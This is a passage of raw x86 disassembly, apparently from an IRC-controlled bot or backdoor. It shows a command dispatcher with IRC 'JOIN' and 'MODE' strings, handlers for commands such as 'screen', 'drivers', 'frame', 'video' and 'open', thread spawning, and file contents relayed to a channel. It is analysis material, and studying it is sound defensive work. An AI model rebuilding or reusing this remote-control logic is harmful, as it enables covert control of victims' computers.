		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42A530


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4AC
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A490


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2670EC7h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3AC


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A384
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A354
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A338
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A304
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A298


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A240
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A0


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A074


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A05C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A008
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_429FC8


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 26801B8h
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F70
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F1C


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EAC
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
